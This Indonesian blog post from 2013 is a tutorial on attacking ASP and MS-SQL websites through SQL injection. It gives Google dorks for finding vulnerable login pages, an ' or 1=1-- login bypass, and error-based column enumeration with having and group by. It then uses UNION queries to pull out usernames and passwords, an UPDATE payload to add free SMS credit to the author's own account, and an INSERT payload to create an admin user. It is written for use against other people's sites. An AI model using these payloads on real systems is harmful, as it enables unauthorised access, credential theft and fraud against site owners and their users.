text

KESEHATAN ADALAH HAK SETIAP MANUSIA YANG HARUS DIPENUHI

Kamis, 12 Desember 2013

Cara Hack Website


::PREFACE::
============ =
Setelah banyaknya bug-bug yang bertebaran di jagad maya ini dari
yang namanya Unicode (masih ada lho sekarang) , RPC DCOM, XSS, VP-
ASP, dan bug-bug e-commerce lainnya kini yang lagi "trend" dalam
teknik hacking adlaah SQL Injection. dalam vol. 1 ini gw jelasin 
cara ngisi sesuatu dengan perintah UPDATE

::DESCRIPTION: :
============ ===
SQL adalah bahasa pemrograman database yang banyak dipakai dalam 
website, laporan keuangan, data-data pekerjaan, data mahasiswa, dan 
lain lain. Diantara jenis lainnya MS-SQL adalah yang paling 
terkenal, nah ternyata semua hal yang di jagad maya ini adalah 
Vulnerable terhadap berbagai serangan, jadi SQL pun menjadi target 
dalam hal ini.

::VULN::
========
yang akan gw bahas disini adalah MS-SQL yang Link ODBC dengan bahasa 
pemrograman website ASP. 

::Injection: :
==========
ok, setelah basa basi diatas gw mulai neh ..hehehe
untuk menginject sql ini anda perlu memperhatikan input-inputan 
dalam situs itu yang sekiranya connect dengan SQL database situs 
itu, atau bisa juga dengan menambah dari link url di kotak browser
anda semisal : ....asp/productID= 1'[sql query/string. untuk mencari 
target yang vuln seperti kondisi diatas anda perlu mencarinya 
yang .asp nah seperti biasa....GOOGLING! !! hehehe
key wordnya di google adalah :

1. allinurl:.co. id/login. asp
2. allinurl:.com/ admin.asp

semuannya itu banyak kombinasinya lainnya itu tergantung seberapa 
jauh anda kreatif dalam mencari target di google.nah, kanre disini 
gw bahas cara inject ke situs web to sms so searchnya : asp,web to 
sms atw Send SMS, ASP

ok, misal kita dapet target www.apes.com, nah lihat dah ada inputan 
yang masuk ke database itu ga, misalnya search product, member 
login, atw admin login :) setelah itu kita isa inject pake 
sql "umum" stringnya : ' or 1=1-- disini kita lihat kalau 1=1 itu 
nialinya true dan tanda -- itu adalah marknya SQL kalau di C++/C 
itu // _/* jadi setelah tanda Mark perintah selanjutnya tidak 
dijalankan. nah klo beruntung dapet /admin.asp kita inject seperti 
diatas itu bisa lho kita masuk sebagai admin! ini terjadi di situs 
berita nasional di indonesia...

nah, klo ga dapet dir adminya yah kita cari kotak input yang kiranya 
connect ke database situs itu, contoh isa di login, member, search,
dll. kita masukan debugging codenya : ' having 1=1-- 
jreeeeeng... ..ini musti diinget n kudu di pake setiap klo mo inject, 
kita injet di :

userid : ' having 1=1--
Password :fuzk3

lalu....jreeeeeeng. ...ERROR! !!!
Error Type:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ ODBC SQL Server Driver][SQL Server]
Column 'UserDB.userid' is invalid in the select list because it is 
not contained in an aggregate function and there is no GROUP BY 
clause.
member/log_right. asp, line 25

tuh ketahuan ada kolom UserDB.userid, klo udah gini gemana lagi 
dungs? ok kita loop lagi sekarang kita inject : ' group by 
UserDB.userid -- atau ' group by UserDB.userid having 1=1-- disini 
kita gunain perintah group by untuk menggroup kolom ingin kita 
lihat....ehehe. ..muncul error lagi, kali ini beda choi...
Error Type:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ ODBC SQL Server Driver][SQL Server]
Column 'UserDB.userpass' is invalid in the select list because it is 
not contained in an aggregate function and there is no GROUP BY 
clause.
member/log_right. asp, line 25

nah sekarang kita tau apa aja kolomnya...hehehe
penerapan selanjutanya adalah misal situs itu adalah situs 
pengiriman SMS sedunia yang kalo kita membernya kita bisa send sms 
dari web, namun harus ada account yang digunakan untuk mengirim sms 
itu, jadi account itu harus ada nilainya dan untuk itu kita harus 
mengisinya dengan cara membelinya.. .ok ok NO CARDING HERE!!! 
heheheh...so gemana neh??? karena kita ini orang-orang kere hehehe 
so kita inject aja....sebelumnya kita harus jadi member kan gratis 
ini daftarnya...
setelah kita jadi member dengan id : fuzk3 dan pass: Vero...kita log
ke situs itu dengan id kita, cari tahu string khusus yang digunakan 
web itu untuk menghitung account sms kita, misalnya : cell
nah, inilah injectnya... .cari login inputan lagi misal /member.asp 
nah disitu ada input box id dan pass...kita Inject dengan :
' UPDATE [namadatabase] SET [charkhusus] = [nilai] WHERE [namakolom] 
= '[char_id]'- -
contoh :
' UPDATE UserDb set cell=100 where userid ='fuzk3'-- (inget neh)
sep, nah klo muncul error : userid not found kita isa cari input di 
forgot password : dengan inputan sama...jreeen ketika di jalankan ga 
ada error apa-apa..kembali login lalu...jreeeeeenng. ..liha cell mu 
itu waduh 100 cell enak neh sms seratus kali....kiekiekie. ..SUKSES 
BRO!!! :)

atau cara ke 2

::PREFACE::.
============
Kalau di Vol.1 dah dibahas teknik UPDATE di MS-SQL maka disini gw 
jelasin cara INSERT dan UNION......rada ngejelimet neh.....makanya 
kalau 
baca artikel ini harus ada aer putih hyuehueh.... N disini gw juga 
akan 
kasih kilas balik sedikit untuk yang baru nyoba2 :) n penjelasan 
yang 
lebih detail

.::BODY::.
============

Sebelumnya tolong apabila browser kalian pada pake IE setting dulu 
browsernya agar bisa melihat errornya. Setting di Tools-Internet 
option-Advanced tab-Show friendly HTTP error messages. itu musti 
dilakukan, kalau 
tidak kalian tidak bisa lihat error messages yg keluar nanti.
OK, masih inget kan cara cari targetnya? kalau lupa lihat lagi 
artikel 
Vol.1 :)

Nah, klo dah dapet targetnya sekarang tinggal input SQL Querynya di 
input boxnya :

www.target.com/ login.asp >> contoh target
www.target.com/ login.asp? err=Invalid_ password >> persan error yang 
dapat di eksploitasi seperti biasa kalau ingin cari n tes vuln 
engganya tuh 
situs kita ketikan ' having 1=1-- di input box atau URL error tadi , 
contoh : www.target.com/ login.asp? err=' having 1=1-- then,....

Microsoft OLE DB Provider for SQL Server (0x80040E14)
Column 'Users.UserID' is invalid in the select list because it is 
not 
contained in an 
aggregate function and there is no GROUP BY clause

itu error messagesnya, kini kita group field UserID dari table 
Users, 
stringnya : ' group by UserID --
then,...

Microsoft OLE DB Provider for SQL Server (0x80040E14)
Column 'Users.ClientName' is invalid in the select list
because it is not contained in either an aggregate function or the 
GROUP BY clause.

muncul lagi error seperti itu....lalu lagi kita Group. Kini 
stringnya 
adalah ' group by 
field1,field2 --
contoh : ' group by UserID,ClientName --
then,...

Microsoft OLE DB Provider for SQL Server (0x80040E14)
Column 'Users.UserName' is invalid in the select list because it is 
not 
contained in 

either an aggregate function or the GROUP BY clause.
trus group by lagi, hal ini kita lakukan (proses looping) sampai 
semua 
field kita 

ketahui..... .makanya harus sabar, kalau engga ga bakal tembus :)
apabila sudah lama melakukan looping dan akhirnya ketika group 
terakhir 
kita lakukan dan tidak keluar error messagesnya maka error yang 
terakhir adalah field yg terakhir.... .field table itu bisa panjang 
sekali, 
tergantung admin yang masangnya jadi susah kalau maen teabk2an 
ajah....contoh field yang pernah gw temuin : ' group by 
UserID,ClientName, UserName, Password, PhysicalAddress, PhoneNumber, Email
,
OperatingSystem, PrefferredGraphi cFormat 
-- >> ada 9 field!!! jangan males dalam proses Looping :P

setelah dapet semua field, kini yang kita lakukan adalah mencari 
siapa 
aja user yang ada dalam table Users dan kolom UserName...
caranya? kita pake Union apa itu UNION??? union adalah perintah SQL 
dimana ia dapat menggabungkan dua SELECT list tapi kalau pengen 
gunain 
Union ini kita harus tahu ada berapa field dalam table tadi

sintaksnya gini : 
select field1, field2, … field_n
from tables
UNION
select field1, field2, … field_n
from tables; 

nah biasanya dalam SQL QUERY di input box username itu mereka bikin 
query select * from 

Users where UserName =='"+login+" ' and Password='"+ pass"'"; nah 
kalau 
begitu kita masukin syntax sql union untuk melihat username : ' 
union 
select min(UserName) ,1,1,1 from Users where username > 'a'--
jadi hasilnya : select * from Users where UserName ==' union select 
min(UserName) ,1,1,1 from Users where username > 'a'--and 
Password='"+ pass"'"; gitu kiranya, jadi nanti akan muncul error 
messages lagi 
yang akan menampilkan sebuah username lebih dari huruf a ,contoh: 

Error Type:
Microsoft OLE DB Provider for SQL Server (0x80040E07)
Syntax error converting the varchar value 'Agile' to a column of 
data 
type int. /

tuh lihat kan ada user dengan nama Agile...lalu looping lagi pake 
string union tadi nanti akan muncul username2 lain....lalu bagaimana 
dengan 
passwordnya? ??
ok union beraksi kembali : ' union select min
(UserName),1, 1,1,1,1,1, 1,1 
from Users where username > 'Agile'--
lalu akan muncul error yang memberitahukan passwordnya, contoh :

Error Type:
Microsoft OLE DB Provider for SQL Server (0x80040E07)
Syntax error converting the varchar value 'Surfer' to a column of 
data 
type int. /

kalau dah gini kita bisa masuk dengan Username Agile dan passwordnya 
Surfer...hehehe 

selamat yah!
btw, kita juga ingin dong bisa INSERT databasenya. ....
caranya : karena ktia sudah tahu field2nya maka stringnya jadi : ' 
insert into table values 
(field1,field2, ....,field_ n)--
misalkan ada field sebagai berikut :
'Users.UserID' 
'Users. Username' 
'Users.Password' 
'Users.FName' 
'Users.LName' 
'Users.EmailAddress ' 
'Users.Administrato r' 
itu berarti ada 7 field! Ok kita masukan menurut string tadi : ' 
insert 
into Users values 

(0,'lucifer' ,'lucifer' ,'lu','cid' ,'a@a.com',1)-- >> artinya kita 
masukan id kita dalam 

urutan 0, lalu username 'lucifer', password 'lucifer' Fname 
(frontName) 
itu 'lu', 
Lname(LastName) sebagai 'cid', dan EmailAddress 'a@a.com'......
coba kita login dengan user buatan kita tadi....BINGO! selamat anda 
berhasil menjebol 

database situs target.....
POSTED BY MR. DHE DHAY AT 7:01 PM

Tidak ada komentar:

Posting Komentar